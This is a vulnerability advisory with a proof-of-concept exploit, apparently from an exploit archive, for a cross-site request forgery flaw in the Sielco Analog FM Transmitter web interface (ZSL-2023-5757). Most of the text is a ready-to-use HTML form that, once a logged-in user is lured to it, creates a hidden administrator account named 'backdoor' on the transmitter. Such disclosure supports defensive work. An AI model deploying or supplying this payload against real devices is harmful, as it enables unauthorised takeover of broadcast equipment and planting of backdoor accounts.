Sielco Analog FM Transmitter 2.12 – Cross-Site Request Forgery
<!-- ## Exploit Title: Sielco Analog FM Transmitter 2.12 - Cross-Site Request Forgery ## Exploit Author: LiquidWorm Sielco Analog FM Transmitter 2.12 Cross-Site Request Forgery Vendor: Sielco S.r.l Product web page: https://www.sielco.org Affected version: 2.12 (EXC5000GX) 2.12 (EXC120GX) 2.11 (EXC300GX) 2.10 (EXC1600GX) 2.10 (EXC2000GX) 2.08 (EXC1600GX) 2.08 (EXC1000GX) 2.07 (EXC3000GX) 2.06 (EXC5000GX) 1.7.7 (EXC30GT) 1.7.4 (EXC300GT) 1.7.4 (EXC100GT) 1.7.4 (EXC5000GT) 1.6.3 (EXC1000GT) 1.5.4 (EXC120GT) Summary: Sielco designs and produces FM radio transmitters for professional broadcasting. The in-house laboratory develops standard and customised solutions to meet all needs. Whether digital or analogue, each product is studied to ensure reliability, resistance over time and a high standard of safety. Sielco transmitters are distributed throughout the world and serve many radios in Europe, South America, Africa, Oceania and China. Desc: The application interface allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site. Tested on: lwIP/2.1.1 Web/3.0.3 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2023-5757 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5757.php 26.01.2023 --> CSRF Add Admin: --------------- <html> <body> <form action="http://transmitter/protect/users.htm" method="POST"> <input type="hidden" name="pwd0" value="" /> <input type="hidden" name="pwd0bis" value="" /> <input type="hidden" name="user1" value="" /> <input type="hidden" name="pwd1" value="" /> <input type="hidden" name="pwd1bis" value="" /> <input type="hidden" name="auth1" value="" /> <input type="hidden" name="user2" value="" /> <input type="hidden" name="pwd2" value="" /> <input type="hidden" name="pwd2bis" value="" /> <input type="hidden" name="auth2" value="" /> <input type="hidden" name="user3" value="backdoor" /> <input type="hidden" name="pwd3" value="backdoor123" /> <input type="hidden" name="pwd3bis" value="backdoor123" /> <input type="hidden" name="auth3" value="2" /> <input type="submit" value="Adminize!" /> </form> </body> </html> |